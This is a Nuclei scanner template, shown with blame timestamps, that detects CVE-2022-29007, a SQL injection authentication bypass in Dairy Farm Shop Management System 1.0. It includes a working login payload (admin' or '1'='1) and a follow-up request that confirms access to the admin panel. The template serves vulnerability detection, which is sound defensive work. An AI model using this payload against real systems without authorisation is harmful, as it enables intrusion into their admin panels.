nuclei-templates/http/cves/2022/CVE-2022-29007.yaml

60 lines
2.0 KiB
YAML
Raw Normal View History

2022-09-10 03:03:07 +00:00
id: CVE-2022-29007
info:
name: Dairy Farm Shop Management System 1.0 - SQL Injection
author: TenBird
severity: critical
description: |
Dairy Farm Shop Management System 1.0 contains multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/50365
- https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
- https://nvd.nist.gov/vuln/detail/CVE-2022-29007
- https://github.com/sudoninja-noob/CVE-2022-29007/blob/main/CVE-2022-29007.txt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-29007
cwe-id: CWE-89
epss-score: 0.16542
epss-percentile: 0.95426
2023-10-14 11:27:55 +00:00
cpe: cpe:2.3:a:phpgurukul:dairy_farm_shop_management_system:1.0:*:*:*:*:*:*:*
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-10-14 11:27:55 +00:00
vendor: phpgurukul
2023-07-11 19:49:27 +00:00
product: dairy_farm_shop_management_system
tags: cve,cve2022,sqli,auth-bypass,edb
2023-07-11 19:49:27 +00:00
http:
2022-09-10 03:03:07 +00:00
- raw:
- |
POST /dfsms/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username=admin' or '1'='1&password=1&login=login
- |
GET /dfsms/add-category.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2022-09-10 03:03:07 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<title>Add Product</title>'
- '<span>Admin'
- 'DFSMS'
condition: and
- type: status
status:
- 200
# digest: 490a00463044022002d7cc280b27d0ecbb2334a30d0fee905300287753945766cdba68eec791e3dc022015c5750b33ffcbdb4220b4072995402937f40d0f6febed5139fb54ed9ee161b5:922c64590222798bb761d5b6d8e72950